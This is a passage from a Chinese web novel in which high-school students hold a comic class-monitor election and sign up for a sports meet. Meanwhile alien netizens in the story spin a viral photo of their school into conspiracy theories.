即便如此,对于呼吸困难的学生来说还是太久了。连罗塞塔和颜阎这种最闹腾的人都接近熄火,用脸贴着桌子或墙,试图把木头和瓷砖都变成清凉的薄荷水吃下去降温。
浓熏的热里,恼燠的闷里,“啪”,黄澄澄一声。
“命运就像冰糖雪梨,命运就像黄油曲奇,命运就是教会你我做人要美味~”
“滴!”
像是往热茶里倒大瓶冷藏雪碧,气泡咕嘟咕嘟升上水面,茶梗飞旋打转,滚烫茶汤兑出冰的冷气。
“哦~谁带手机!”
“什么歌啊太怪了啊啊啊啊!”
“人生就像冰糖……唱唱怎么了!”
下一个读稿的甘忘营最兴奋,双手撑在讲台上,踮着脚朝台下张望:“哪来的汉尼拔,让我瞅瞅让我瞅瞅!”
没人承认,但是声音来源很清晰——柳令全假装自己也在找肇事者,可大部分人的视线都已经对准她。
周天子脸色铁青:“柳令全,下课……”
柳令全抢先认错:“好的老师。”然后垂头丧气地趴回去。
这一下子之后,满教室的人都从缺氧中苏醒,终于有机会正眼看讲台上站着的是谁。
定睛一看,全都乐了。
甘忘营的两条胳膊堂堂正正露在外面,没处可以放的棒球帽用魔术贴粘着头发挂在脖子后面。鼻孔一个粗大一个纤细,衣服上蜿蜒的血迹无比惨烈,像是刚从战场上匍匐回来。
台下好几个男生大笑:“甘姐拼刺刀回来了!”
甘忘营捏住自己的刘海:“你们甘姐是和政治搏斗回来啦!”
她的同桌,一个瘦瘦小小戴眼镜的男生,在下面鼓掌:“甘姐演讲稿呢!”
“大家好。”甘忘营沉痛道,“相信大家看出来了,我没准备稿子。我也是刚刚才知道,我居然也是候选人!怎么没人告诉我啊!人性在哪里,良知在哪里,道德在哪里,我们燕砸又在哪里?”
摆弄日语教室奢华窗帘的张燕之抬头:“又我?别吧?我让……”她住嘴了。
她不想让同学之间产生嫌隙,更不愿意把责任推卸给别人,无论是哪一环出了问题,甘忘营不知道自己是候选人已经是事实,她作为班长,确实要承担责任。
甘忘营悲壮地捂住耳朵扭动身体:“我不听我不听,非常坏燕子,打她打她!”
和谁都能说上话的商博良用拳锋抵住张燕之的胳膊,向旁边轻轻推了一下:“打你打你,坏人。”
事实上,甘忘营的抱怨并不会给张燕之的票数造成任何损失。
三中太小了,一个年级的大部分人都彼此认识甚至熟悉,更别提众人同为重点班,是朝夕相处的同学。平日的言行早已在人们心中为候选人划定了价值,这些刻在脑海里的铁证,远不是三言两语就能动摇的。
但是,张燕之了解甘忘营的为人,这家伙绝对不是想要暗害她,她单纯是——
“总之,我没有演讲稿!”甘忘营向台下展示自己空荡荡的手掌心,“但我会用一句话,让所有人都投我!”
——想讲个笑话!
甘忘营,所谓“男孩子气”的女生。
优秀的运动神经、对户外运动强烈的热爱、熟悉对抗性游戏和热血漫画,让她在男性同伴里获得了“荣誉男性”的头衔。
甘忘营本人对此的回应是:“别搞朋友,别搞!”
记忆是一条宽阔的河流,即便河网纵横,即便奔流入海,即便交汇云层,它也总有源头。
甘忘营记忆的源头是一颗圆鼓鼓的皮球,它顺着妈妈手臂的力量冲来,鼓得像饱满的虾球,明亮得像太阳,快得像一闪而逝的流星!
她扑过去,脚底蹬紧地面,双手张开,身体贴着地面短暂地“划翔”。然后下巴磕到土地上,牙齿咬破嘴唇。妈妈和爸爸是在笑,还是来关心她?她也不记得了,但她记得自己抱住了球,在地上大笑着两腿乱蹬。
一颗流星!亮晶晶冰凉凉!从荒芜的太空来,被她一举拿下!哈!
在往后的人生中,她无数次重复抓取这颗“流星”。在许多毫无征兆的时刻,某种乐趣会突然从她某个神经元里钻出来,随后灵光的闪烁填满她的每一块骨缝。
比如——
体育课的足球比赛(一个班分成两波踢着玩)上,甘忘营说:“我今天要开个大脚。”
“卧槽你练成了?”
“差不多,比赛上还没踢过。”
“你别踢个10比0。”
“放心吧,一个大脚也就一球!”
再比如——
她问自己的篮球队友:“唉,你说内线勾手能不能防住?”
她的篮球队友大惊:“大姐别搞!快赢了!”
甘忘营抬起手模拟了一下动作,又看了看长短不一的同学们,自信愈发膨胀:“我觉得行。你不觉得特别帅吗!”
“帅是帅但你会吗?”
“我感觉来了!”
除此之外——
“我要在地上接球就地一滚然后站起来,把飞过来的羽毛球打回去。”
“祝你成功。”
她赢,她输,她成功,她失误。她为每一次比赛榨干汗水,她大笑着结束每一场游戏。她在无休止的蹦跳和奔跑中,尽兴地活到十六岁。
升入高中后,她迎来了一个倒刺般的小烦恼:男性朋友们开始不带她打球了。
篮球、足球、羽毛球,主动邀请她的频率越来越低变低,几个固定的人占据了所有位置。剩下的边角料们失去组织者和咋咋乎乎的“球场笨蛋”,完全无法攒起一场像样的局,纷纷流向别的朋友身边,开启了一场更加便宜可靠、组局简单、入门简单的羽毛球。
虽说甘忘营情商略微欠费,但也不是纯血的蠢货,她意识到自己和其他“业余者”因为某些原因被排挤了,只是原因暂时成迷。她找“篮球队”的成员们打听,结果这些人的嘴比谁都严。
“你说到底是为啥?”她边发球边问。
“能是为啥?”感情咨询大师康烁影在场外观战,“他们——老张加油——嫉妒你!”
“嫉妒我啥?”
“你技术好!”
“这确实,我技术没得说。”
“技术大师咱俩开个视频号,你打球我运营。直播一个月开始带货走上人生巅峰吧!”
“你耽误我守护国家安全你知道吗!”甘忘营一个背身击球,羽毛球飞跃地上画出的网线,以一个意想不到的角度冲向张晓怡的区域。
接不住了!
张晓怡放低重心,一只手撑地一只手够球,手臂与身体绷直,身体伸展到人体的极致,一个勾球。
过网!
甘忘营没想到她还能接住,本来已经放下的球拍重新举起来。
可是太迟了,羽毛球已经飞过她头顶,击球位置错过了!甘忘营就要输了吗?
观战的康烁影和柳令全却发现,甘忘营嘴角露出一抹笑容。
她疾速后退,身体直直向后仰倒,左脚甚至离开地面。就在她失去重心的前一刻,球拍碰到球托,顺着力道一挥!几乎是把羽毛球“挑”飞出去。
观战二人组撸起袖子,要给摔得头破血流的甘忘营瞑目。可她猛然向后踉跄,左腿以一个极大的弧度后撤。
她稳住了!
张晓怡撑地起身,在一个合适的位置前后分立稳住下盘,臂挥如张弓。球来一瞬,放!
球消失了。
“球呢?”甘忘营问。
柳令全望天:“在外太空。”
“我的球啊!”康烁影尖叫,“不会
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掉学校外面了吧!”
张晓怡茫然放下球拍,双手夹住握柄旋转。转着转着,她感到视线里有片羽毛粘在球拍上,伸手去摸,是羽毛球!
羽毛球的球翼嵌进球拍的网格里,居然有种奇特的合拍。
四个人沉默一阵。
然后康烁影开始模仿甘忘营背身击球的动作:“哇刚才那个!那个!背后的那个!”
“很有节目吧!”
柳令全抱着张晓怡的脑袋摇:“天呐这段充满希望的历史要让所有人铭记!”
张晓怡说我要咬死你。
“对啊对啊!”
“有录像吗?怎么没有!这不留录像?”
四个人遗憾万分,甘忘营仰天哀叹天不识英才,不然她早红了。老天生气,惩罚她仰头太过脖子后扭,“咔吧”,视线扭转,翻起来的的瞳仁瞄到羽毛球场对面的单杠。
她乐了。
车到山前必有路,咱们班有人带手机噜!
她跑到挂单杆的几个男生身边:“哥们儿刚才录到了吗!”
几个人摇头,有点不耐烦:“没录到,我们在看篮球教程。”
“怎么不去打球?”
“老冯肚子疼在上厕所。”
“拉铁塔呗,他又高又大的,可方便了。”
带手机的男生抬起头,郑重发表评价:“他菜得一批,人还傻逼,只会喷垃圾话。带他赢不了,谁都不愿意带他。”
“又不是正式比赛。”
“说得容易,不赢怎么开心。”
他们说话的时候,铁塔像一只猛犸象走过他们身边,他的身型巨大,步伐缓慢,拖着一双从来不洗的发灰运动鞋,缓缓经过单杠和乒乓球桌,忧伤的眼神时不时掠过这群篮球场上的健将。
他走出很远,余震才逐渐消失。
甘忘营回到无网羽毛球场上。
另外三个人翘首以盼,都指望着把这段视频发主页收点赞。见到她回来,全都一拥而上:“录了吗录了吗?”
“没录上。”
“啊……”“好可惜。”“一夜暴富失败了……”
甘忘营把羽毛球放在球拍上掂,眼睛聚焦在黑不溜秋的球托上,心聚焦在刚才的话上。
她毫不怀疑——他们对自己那样铁塔,肯定也会对铁塔那样说她!她甚至都能猜到,大概是说她不受控制,经常不配合,打出迷惑操作。
以前体育课结束后,也经常听见队友一边收拾水瓶一边骂骂咧咧,跟关系好的人指责谁的战术不好,谁技术烂,谁是傻逼,或者谁不是傻逼,但她都选择性忽略了。现在想起来还真奇怪,说得好像谁不会失误,谁没有技术差的时候一样。
她既不理解铁塔,也不理解打篮球的男同学。他们只不过是在打班级内战,怎么会如此在乎输赢?在乎到辱骂彼此,在乎到在痛斥别人?
她很快想明白,这就像竞技游戏。有些人在乎输赢,觉得“赢了肯定比输了开心”,有些人只在乎玩得爽不爽。
对她来说,赢并没有多重要,它只是无数多巴胺开关中的一个。打球时技惊四座的新动作,一个能让全队狂笑数周的低级失误,比赛结束后妈妈和爸爸拍下的帅气照片,都能够代替赢,点亮她脑中的火花。
作为竞争的结果,“赢”是永无尽头的阶梯。一次获胜后还有蛰伏的危机,一级台阶后还有无尽的高楼。如果只能从赢里获得快乐,那么最终得到的会是痛苦的奖赏。
因为世上没有完美的人生,世上没有不败的英雄。
她既不是狂风也不是草芥,既不富裕也不贫穷,既不是国王也不是乞丐。她不至于家徒四壁举步维艰,也不至于挥一挥衣袖带走别人的生命。她的输赢不会带来任何不可挽回的后果。
她只是是想玩得开心。
她摊开双手:“为了宇宙的和平,为了祖国花朵的呼吸道,为了大家能早点回教室——”
“——我将不朗读任何竞选词,直接弃权!”甘忘营抓着帽檐一鞠躬,飞快跳下讲台,跑到张燕之身边双手撑住暖器罩,灵巧地坐上这个居高临下的位置,在无从下脚的教室里硬是抢到一个空位。
所有人都好笑又无语地叫起来。
“啊啊啊啊我服了……”“确实‘想’投票……”“想投但是不能投是吧!”“就算不想投她也肯定说:鸭头你心里有我只是嘴上不说,死无对证啊!”“求求了甘姐不要再搞抽象了!”
甘忘营,乐!
最后老师没有公布选票,而是直接拿着投票盒走了。颜阎伸长脖子问这就是民主选举吗看起来不像啊。刘征兰说你民我笑。
“会是燕儿当选吧。”飞飞拽着康烁影的头发欢快呼吸空气,“她是好人,给过康烁影小蔬菜!”
颜阎低语:“其实是给你吃了吧!”
“那不是当然的。”
“燕儿不一定选上。”刘征兰说,“肯定是二班选二班四班选四班,男选男女选女。三中的老师还不会加权。”
“……唉说的也是。”康烁影把飞飞从头上摘下来把玩。这家伙上学期总是不出现,她都有点想念这个毛茸茸的手感,“其实我觉得甘忘营当选比较好。”
刘征兰了然:“军队面试容易过。”
高三开学,每个班都被发了一本可以随便翻阅的报考手册,里面有往年毕业生的报考学校和报考成功的最低分数线。公安类大学,男女的最低分数线差在四十到一百之间。大半重点班男生都能考上,但是能考上的女生寥寥无几。同理,去年毕业的学生里,成绩差的男生几乎都选择去当兵,而成绩差的女生只能复读或者去大专。
女生考军警,标准高机会少。一个优秀班干部的头衔对甘忘营帮助极大。
三人一鼠担忧地回头,幽默大王甘忘营正被一大群人簇拥,几个女生勾着她肩膀说老大你好帅老大你好痞。柳令全最辛灾乐祸:甘忘营说弃权的时候,周天子的高跟鞋都要把门框踏烂了。
三人一鼠齐齐叹气。
康烁影评价:“她要是当兵,估计也是一手抗机枪,一手抛弹匣,嘚嘚瑟瑟的那种女的。”
颜阎:“……唉听起来真是前途无望。”
趁其他人都不愿意回教室,挂在半墙上呼吸新鲜空气,刘征兰终于想起来律易棋的重要事,赶紧拉着颜阎和康烁影躲到厕所给律易棋发消息。
看了一眼聊天记录的康烁影:“你俩怎么还聊数学啊!”她仔细看,“这符号……是英语!”
刘征兰阴森一笑,“我发你们。”
“不要!”两人异口同声。
康烁影酸溜溜:“都学到大学了,别再卷了小天才。”
刘征兰说:“我没卷,我真是喜欢理科。”后面还跟了一句,“我不是天才。”
“……你上着高中还能自学高数,还不算天才?”
刘征兰痛苦地叹息:“我真不是天才。求求你别说我是天才。”
“好吧。”康烁影投降,“我不说这件人尽皆知的事实。”
刘征兰发送消息:结束了,到底是什么事?
律易棋那边立刻显示出正在输入,不到两秒,他发来一张照片。
那是一个悬浮的操场模型,周围浮动着某种断续线条组成的字母文字,形状像倒置的宝剑。模型上方的各个位置用宝剑形的文字做出了标准,天机为她们实时翻译:800米,400米,跳高,跳远,铅球……
康烁影叫了一声,她看到角落里的橘橘国王。
这是那是她们学校的操场。
律易棋:“惊喜吗?”
律易棋:“你们学校在咚咚上火了!”
116.网络谜踪
一开始,只是一张普通的全景照片。一位即将退休的记者拍下了三中的全景照片,跟和平联合的新锡城学府做了对比图,配字是:文明的来路。
这本来没有什么,但是那张照片里,橘橘国王堂堂出镜。
涨落之潮的司铎650,正是一只形似橘猫的灵肉。它和该记者在采访中相识,加上了联系方式。看到照片中有橘猫后,它立刻转发并配文:“与猫相似的渺小的生命啊喵,你也在迷茫吗喵?#能量觉醒##生命的意义##开悟##升维##涨落之潮#”
这本是分享日常,可耐不住一大群信众纷纷转发,并配上650在教堂的差分机圣骸前下腰祈祷的照片。场景震撼,色调浪漫,最重要的是,猫很可爱。
网民纷纷转发。
该照片在信徒中小爆,传到网络谜踪爱好者的社区内,这些人喜欢用利用光照、土壤情况、科技水平、生物分布等信息,推理照片中的地点。爱好者们联合在咚咚上发布视频展示推理过程,并且确定图片中是一个叫做地球的爬行文明。照片又有一次小范围爆红。
一名刻石人忽然想起:唉,偃是不是喜欢把智能体投放到地球。
偃目前在矩阵学院任教,他的深度学习与目标锚定学是众多计算机学院学生的必修课,通过率和考试难度都是正常水准,但是他的精神状态实在是远近闻名。矩阵学院的学生立刻来劲儿了,全宇宙网里找相关资料。
大学生是世界上最闲的群体之一,不到两个标准日,关于地球的信息爆炸式增长。
【听说是宇宙文明的边境】
【熵脑记录好多,收个鬼屋门票放人来参观吧】
【刻石人:开门交税】
【已经有卫星了!看来离宇宙文明不远了(鼓掌)】
【欢迎新的星球加入宇宙大家庭!(大象庆祝)】
【离被殖民更近一步,恭喜啊(大象庆祝)】
【心态焦虑?情绪起伏?行为暴躁?时常哭泣?
提升正念,守护情绪,将健康的自己还给你!
睡得香,元气足,舒身心,抗压力!
好心情常态化,让简单的快乐回归简单!
简单片,开启您幸福生活的钥匙!
(广告内容,谨防诈骗)】
【婆旦:太棒了新试验场!(鬼脸)】
【柯玛:太棒了新碳基耗材!】
【玛丽基金会:太棒了新生物材料!】
【壤:太棒了新衣服!】
【呵呵和平联合有时间嘲笑婆旦不如管好自己的义肢黑医(机器人短路跳舞.gif)】
【柯玛就不反驳呢因为珂玛真的杀碳基是吗(鬼脸)(鬼脸)】
【楼上这种人活该被杀呢,柯玛就是高科技呀有本事你一辈子别用讯传。】
【真不好意思我就要用呢(鬼脸)讯传是生物科技跟你们无机物有什么关系】
【几年前跳格子小队通缉的队员好像就逃到了地球,还偷走了空想文明的道具】
【地球查丹】
【查丹】
【别查丹啊还没炸呢!】
【说到底空想文明这种都市传说怎么至今还在啊,网民智力水平怎么做到这么多年毫无进步的】
【涨落之潮打过来我先跑(轮子空转gif)】
【有没有以前是跳格子小队的出来说说,有小偷偷东西跑了的事是不是真的?】
【跳格子小队的人还上网?人家那身体素质怕不是早去开破壁舰了】
【我不是跳格子小队的,但前几年我在ksr当砾尘,当时确实向地球大量派人,好多同事被调走了,听说把那边翻了个底朝天,最后也没有找到人。那段时间可热闹了,好几个萝厂的员工跟着拍】
【现在咋不在刻石人了?刻石人都能被辞?干啥事了?】
【升官了,现在不是砾尘是基岩】
【那真是恭喜你啊(游离体骂人.jpg)】
【话说地球原生人类是啥品种?】
【智人吧】
【你又知道了,都有猫了凭什么不能是灵肉】
【灵肉好灵肉好!】
【脑残啊!宇宙里哪有原生灵肉?而且图上不是有吗,窗户里那个弹扫帚吉他的不是智人我吃坎尼亚】
【小馋猫下次不许吃了】
【我***二楼窗户边上那女生头上戴的是心理治疗仪吧!】
【致敬传奇审讯师CCA551】
【心理治疗仪受限于时代背景和物种歧视,本身未必是没用的。疾病复发率低于40%】
【地球上也发明出来了?】
【谁发明的?封为荣誉智械】
【对呢对呢自杀率66%】
【人死了怎么会得病呢(智械大笑)】
【地球没有这种科技!地球没有这种科技!我是兰顿速递的,我发誓地球没有这种科技!我们送往地球的物资里讯传的比例超大,注意不是神经单元是讯传!说明那边没有类似于讯传的沟通手段,应该还是平面沟通时代。那边连光投影技术都不完善!】
【涨落之潮:世界上还有脑接以外的沟通方式?】
【智械:世界上还有脑接以外的沟通方式?】
【藤发人:有的朋友,有的】
【前沿科技,精密KWK合金,智械眼级别摄影,每原子秒7e运算次数。
新型义友发布会,即将开幕。
更多信息,注意此处跳转。
接受个人定制服务!
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【没有讯传哪来的心理治疗仪?】
【偃给他的宝贝智能体弄的呗还能是啥?】
【他捏智能体不都是按帅哥美女捏的吗?】
【怪不得,我就说一个爬行文明建筑不应该无缘无故火起来,原来是抽象智能团又整新活】
【我都懒得猜这回是杀了不给批经费的领导还是死命犯罪只为了进虚无主义监狱蹲大牢的犯罪大师】
【怎么没有人猜是掮木卖过去的】
【我在不猜阵营比赛中获得了0秒的好成绩,你也来试试看吧】
【除了婆旦真的有人觉得掮木是恐.怖.组.织吗?】
【掮木还在不在啊?怎么感觉没消息了?】
【在格子里被清算了吧】
【怎么真的有人觉得掮木在干好事,别人星球的事横插一脚就很好吗?】
【总比搞殖民好捏】
【坎冬活该捏,以前迁氧怎么对人类的都忘了?】
【照你这么说灵肉也可以随时殖民人类】
【可以呀只要它们有这个本事】
【那你们这么恨智械干嘛?】
【求求了别跟社达辩论】
【自我以下弱肉强食自我以上种族和平】
【俺们灵肉都脱离这个阶段了】
【所以掮木还在不在啊?有没有人知道什么内幕的?】
【(藤发人摇头.gif)】
【说不定掮木真在这儿呢,偏僻遥远科技水平还可以,多适合躲藏】
【确实,而且前几年搜过小偷,最近也不会有人怀疑】
【掮木回来吧我们新时代的刻石人】
【(课本上的唐捐照片凝视.jpg)】
【有道理啊……上次青稞的是财迷就下一百层好像就在地球,伊怎么会知道这小破星球】
【前线报社的小道消息吧,知道地球有问题所以顺便关注一下,没想到有这等节目效果】
【太合理了】
【太合理了】
【太合理了】
【智能体是不是直播里被一高一矮的俩女孩儿救出来的第一个小姑娘?长得很漂亮那个】
【和家长讲八卦的女生:你们是来干嘛的?什么?救我?这世界上居然还有不幸福的家庭?】
【挨打的口罩:你在说什么鬼话?】
【这地方能不能开个直播,太有节目效果了笑死】
【V边旅游边:谢谢大家的关注!我在地球任职期间的确遇到了 @偃的智能体。小小地透露一下,就是在是财迷就下一百层频道里出现过的学生里哦!地球是一个很有潜力的星球,请大家不要过多关注爬行文明,给新文明一点余地!附上一张新照片!//@波卜果昔超爱喝:好磕掺的街景,这究竟是哪里//@狂暴零零零号:可爱呀喵//@涨落之潮司铎650:与猫相似的渺小的生命啊喵,你也在迷茫吗喵?】
这张新照片非常不巧,正是智神和机械鱼们驾驶电动车起飞的画面。
网民本来没有反应,电动车在天上飞?那咋了,这不正常?它们自己还能在天上飞呢。
直到一名科普博主出面打假,号称以地球的科技程度,不可能制造出没有旋翼的直升飞行器。它的拥趸跑去记者的评论区嘲讽,记者也不甘示弱,放出多张全景照片,要求对方找出造假痕迹。
两方互相掐架之际,照片中许多奇怪之处相继被指出。比如路过男生没有脸(带着鱼头头套整活),有女生头上反光疑似仿生人(那是戴耳钉的常青),几个年轻人在进行掮木的体能训练(侧向跨栏的体育生),天上有熵脑(排放的废气),有萨满教的信徒(那是一身红绳的姐姐),全景照片里摩纳纹,疑似是不明生物的监控(这倒是真的,是弓粟的影响),头上有心理治疗仪的女学生(这也是真的)。
没有任何事物能经得起如此审视,带着怀疑的眼光去看,任何事物都会变得细思极恐。半真半假的流言光速传播,在两个标准日后,三中已然拥有柯玛的军备基地,掮木的人才培训中心,迁氧的圈养农场,玛丽基金会的素材库,壤的后花园等等身份,成为了阴谋论的中心。
看热闹不嫌事大的全宇宙网民纷纷下场,把是财迷就下一百层
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的节目剪辑出来对比,更是发现了众多怪异之处。有移民亲友的人托亲访友打听消息,得知该校即将举办运动会。此事以讹传讹,成了该校即将举行学院竞赛,赢家会获得无尽的荣耀,享受同学的供奉和敬仰,还能直接面见各势力领导人。
怎么说呢,至少供奉和敬仰没错,校运动会是给流动红旗加分的,个人得分一二三等奖的有力冲击者会被同学捏肩揉腿,送零食和功能饮料。
兴致勃勃的玩梗选手火速下场,捏出三中的可缩放建模放到咚咚上,还引经据典查阅出地球运动会的大致项目。有人把计分板挂在建模网站下,记录各选手得分。是财迷就下一百层里给人留下过深刻印象的几个学生甚至有了专属应援词。
这一切都是弃首告诉律易棋的,他看完之后由衷道:“真是太闲了。”
女高中生们看完之后,也由衷道:“真是太闲了。”
“我建议你们运动会的时候小心一点。”律易棋说,“文明程度的压制很不讲理,更别提有些人觉得三中和掮木扯上了关系。万一有人对你们的同学感兴趣,天降ufo抓走几个人,恐怕你们就有麻烦了。”
康烁影恶毒地说:“抓走吧抓走吧,抓走了还能少几个人和我们竞争。”
律易棋挑眉看着她。
康烁影瞪回去。过了几秒她放弃了,吐出在日语教室里积攒了许久的怨气:“好啦,我说气话嘛。”
“也就是说,我们要一手抓运动会,一手抓高考,一手抓神秘女高,一手抓人际关系,一手抓家庭关系,一手抓未来规划,一手抓呼叫中心,一手抓隐藏莫妮卡杂货店。”颜阎掰手指算。
“太妙了。”刘征兰为了省时间直接往呼叫中心里跳,消失前留下的最后一句话是,“这样的八爪鱼居然有三只。”
律易棋打开书包:“回来回来,给你们冻了饮料和雪糕!”
刘征兰从冰柜前开门:“我回来了。”
律易棋打开冰柜,取出里面的饮料和雪糕,四个人蹲在柜台后面,在家长为高中生的晚归发火之前再聊个二十分钟的天。
高中生分享了月考后的集体应激反应和毫无意义的优秀班干部竞选大战,律易棋大为震惊:“这么麻烦?上学这么惨?”
“没上过这种学吧。”
“没上过学。社会抚养,专人教育,毕业包工作。”
“……早晚弄死你。”
吃完雪糕,颜阎和刘征兰从书包里各自回家,康烁影拿上书包独自离开,律易棋打着哈欠去给杂货店关门。
刚碰到卷帘门,一只手顶住门框:“不好意思。”
一位中年女人朝他颔首:“有事找您帮忙。”
律易棋认得这人,是三中的老师,弓粟就是在当她的语音助手。
他倒是和弓粟还有联系。一方面他不是灵肉,一方面也和玛丽基金会没有恩怨,没有任何揭发她的立场。两人更像是作为流落爬行文明的老乡,偶尔互相问候几句。
打开讯传看了一眼,弓粟还真的给他发过消息,说过段时间“马英妹”要来找他,记得做好准备,把奇怪的东西藏起来别吓到她。坏消息是他一直在唠嗑,没仔细看消息。好消息是他这里除了精神状态堪忧的高中生以外没有奇怪的东西。
名字叫马英妹的中年女人对他点头:“我记得你,谢谢你当时保护了我的学生。”
律易棋摆手:“不用谢。帮帮朋友的事。”
“当时你在场,想必我和弓粟的事你都知道了。”马英妹指指自己的手机上皱眉苦笑的弓粟,“我们遇到了一点事情,希望请求你的帮助。说来惭愧,她没有实体,我是普通人,都没有办法解决,只能向学生的朋友求助了。”
“具体是什么事情?”
“你离学校这么近,应该看到飞起来的电动车了吧?”
他看到了。不仅他看到了,全宇宙网民都看到了。
“那辆电动车里面有一种很奇怪的东西,像是肉,还会动,而且没有电池。我怕它对学生有威胁。”马英妹把远远拍摄的手机照片给他看,里面是一辆很普通的电动车,玫红色,有一层灰。
律易棋不是生物方面的专家,但马英妹都求助到他这种来历不明的人身上了,想必确实有点慌乱。他点点头,答应下这件事,顺便叮嘱马英妹:“最近学校有情况。不要做实验,和弓粟交流尽量在手机上,不要让她露脸,就算在办公室里也不要。也不要靠近电动车。”
马英妹警觉:“很严重?我们普通人会有危险吗?”
“有我在就不会。”律易棋笑吟吟地说。
马英妹略一沉吟:“我明白了。非常感谢。”她转身离开杂货店,走出门外几步,又倒回来,“还有一件事。”
“请说。”
“提醒那仨死丫头好好学习!少管这些有的没的破事!”
律易棋嘴上说一定带到,心里想的却是:“我才不会说!”
117.小橘和我
在其他人关注优秀班干部的竞选结果和月考成绩时,康烁影在干一件符合她刻板印象的事:研究逃学。
橘橘国王终于出院!宠物店老板让她们把做了体检驱虫绝育的香喷喷翻新小猫接回学校。兹事体大,康烁影一秒都不想多等,准备在宠物店老板带着航空箱回到榕城的一刹那,立刻跑步把猫抱回学校。
“非要去吗?”飞飞拽着她的头发,“去了还爱我吗?还给我喂蚕蛹吗?我还是你最爱的灵肉吗?”
“你是蜜袋鼯,它是猫!不一样的!”康烁影义正言辞,“就算橘橘国王再可爱,你也是我最喜欢的外星蜜袋鼯!”
刘征兰挑拨离间:“飞,你不要被她欺骗。只要加上足够多的定语,什么都可以是‘最’。你可以来我家,我不花心。”
飞飞警惕:“你弟弟会不会进你房间扒拉我的冰垫和玩具?”
刘征兰不说话了。
康烁影本来想用来无影去无踪的呼叫中心直接出校门,可惜她有一位同行朋友——同班的孟含靓。此女性格明媚笑容温暖,经常和康烁影一块儿去宠物店摸摸这个搓搓那个。她是局外人,没法用呼叫中心,两人只能使用最传统方法:逃学。
两点之间线段最短,逃学方法要的就是一个大道至简。两人计划穿常服涂嘴唇,有说有笑从正门出去,手里提一皮质小包,走到门口大大方方直接喊大爷开门。懂的人都知道,高三生天然面部下垂眼神憔悴,跟熬了个大夜的老师差不多,以假乱真绰绰有余。
两人大摇大摆走出学校,劫持了刘征兰的电瓶车(经过许可),百米奔袭到宠物店门口。宠物店关着门,门口小狗贴纸褪色掉胶。康烁影掏出口袋里宋悦馨和她的党羽们礼貌性质的赠礼贴纸,往门上贴了个小爱心,正好把原来的褪色小狗圈在里面。
孟含靓挂在她肩膀上,两只萌袖垂在她胸前:“老婆酱人真好哦~”
康烁影腻歪回去:“给你脸上也贴一个!”
孟含靓捂着脸跳走,康烁影追上去把她推到门上,用的力气有点大,孟含靓手上的运动手环咣地撞上宠物店大门。
两个人警觉,赶紧凑过去检查门有没有坏。门完好,但里面有哗啦啦锁链的怪声,还没自仔细思考,宠物店老板的面庞出现在两人面前。
她一手握着U型玻璃锁,一手满满当当拽着一大把铁链锁,眼眶红肿,涕泗横流,腋下夹着一只透明立方体图案手机壳的手机,屏幕亮着,里面绿油油一大片。
“欢迎光临!”她大声说,人往后面退了一步。这扇要侧着进的小门里面传出一群小动物的欢快叫声。
康烁影和孟含靓好尴尬:“我们是不是不该来?”
“来都来了!”宠物店老板哽咽着说,声音还是很大。
宠物店许许多多粉与白的笼子里,蹲着附近老年人的宝贝小宠物,大多数养得一般,进食不太科学,还有点泪沟。但宠爱有形状,从它们蓬蓬松松圆圆胖胖的身体就能看出来。
飞飞已经摆脱普通动物的本能,但它还是会对着笼子里的动物得意洋洋地龇牙,灵肉的骄傲在此刻完全体现。
宠物店老板把满地乱跑的橘橘国王抱起,康烁影接过来贴着脸蹭。
孟含靓摸了几把,转头问宠物店老板:“怎么哭了?”
“没事。”
“要我给你去买根冰糕冻一冻脸吗?”
“不要。”她又加了一句,“谢谢。”
“跟家里人吵架啦?”
宠物店老板摇头。
“哦~”康烁影了然,“跟对象吵架啦?”
成年人总是低估孩子们的能力,两人以退为进,只为满足八卦的心。尽管宠物店老板没比她们大几岁,还是放松了警惕,一屁股坐在博美笼子旁边的马扎上。
“对啦对啦,你们猜对啦!”
康烁影闻言,立刻撸起袖子,祭出她的爱情三十六计,把如何拿捏异性说得清清楚楚。宠物店老板听完还是撅嘴,把两人的肩膀扳向门外:“快去吧快去吧,回去上课吧!”
她们说话的时候,老板的手机响了好几声,绿色的聊天框被白色的顶下去,从密集程度来看,很难说哪一边更加言辞恳切。
康烁影脚步迈出大门,老板又拽住她:“常青怎么样?”
人脉的神说:“月考成绩还没出来呢。”
老板撇嘴:“哦。你和她都加油。”她又去捏孟含靓,“你也是。”
孟含靓才不想被顺带,她抱着橘橘国王拔腿就跑。康烁影追上她。这次带着猫,鬼鬼祟祟了好多,最后还是没能鼓起勇气光明正大走前门,两人走了老路:从隔壁职校翻墙进来。
两个人能这么嚣张,百分之十五归结于这节是自习,百分之八十五归结于周天子不在。她去接二皇子去了,没心情看自习。
国无君,若敖鬼馁。班里群龙无首,政由多门。后排在玩狼人杀,有几个饿死鬼在嗦加了卤蛋的面条,甘忘营在到处认义父义母。
体育课代表负责统计报名表,一人限报两项,一项最少两人。有手有脚的都要被她抓壮丁拉去前线!报名表到来前还四肢健全的人,一瞬间福手福足,满屋子全成老弱病残了。
甘忘营不惜到处认亲戚,就是为了拿报名表去交差。男生那边八百米还算有人气,就是跳高跳远这种技术性运动没人报名,跳好了很有观赏性,跳差了特别丢面子,一次失误能诞生十几张表情包。非体育生打死也不想去给其他班的体育生当绿叶。
女生这边就属于长痛不如短痛,除了拼耐力的都好说。但八百米确实是挑不出来一个能打的。甘忘营以身作则填了个名额,至少还要个人。
她两眼无神站在讲台上:“你们平时喊我喊得那么亲热。一到关键时刻,人呢?”
台下女生们吹口哨:“哎呀…………”
柳令全给她出主意:“你去求刘征兰。”
甘忘营说:“她那个考着试厥过去的体格子,我怕她死跑道上。”
“你去问她咯。”柳令全摊手,“她虽然最近火气特别大,但总体脾气很好的。你求她她很少不答应。”
甘忘营也看不出来刘征兰什么时候脾气好什么时候脾气差,但最近刘征兰做题时骂人确实更频繁了。为了自保,她架着柳令全,全速向刘征兰的桌子冲刺。
柳令全一个飞扑挂在刘征兰桌子前面,扑闪着不怎么长的睫毛:“老刘老刘,愿不愿意跑800?”
刘征兰战术后仰:“我是不愿意的。”
甘忘营也挂上去:“求求你了。只要我可以,我愿意有丝分裂去跑。但我不行,我是动物,我只能靠你了。”
刘征兰仰得椅子都翘起来:“为啥是我?”
甘忘营握住她的胳膊:“因为信任你。”
刘征兰只想了几秒,就拿笔写下自己的名字,然后在八百米下面打了勾:“行。”
甘忘营:“唉那跳高……”
刘征兰盯她。
甘忘营的语气曲里拐弯说:“那跳高就不给你报了。”
刘征兰欣慰:“这样多好。”
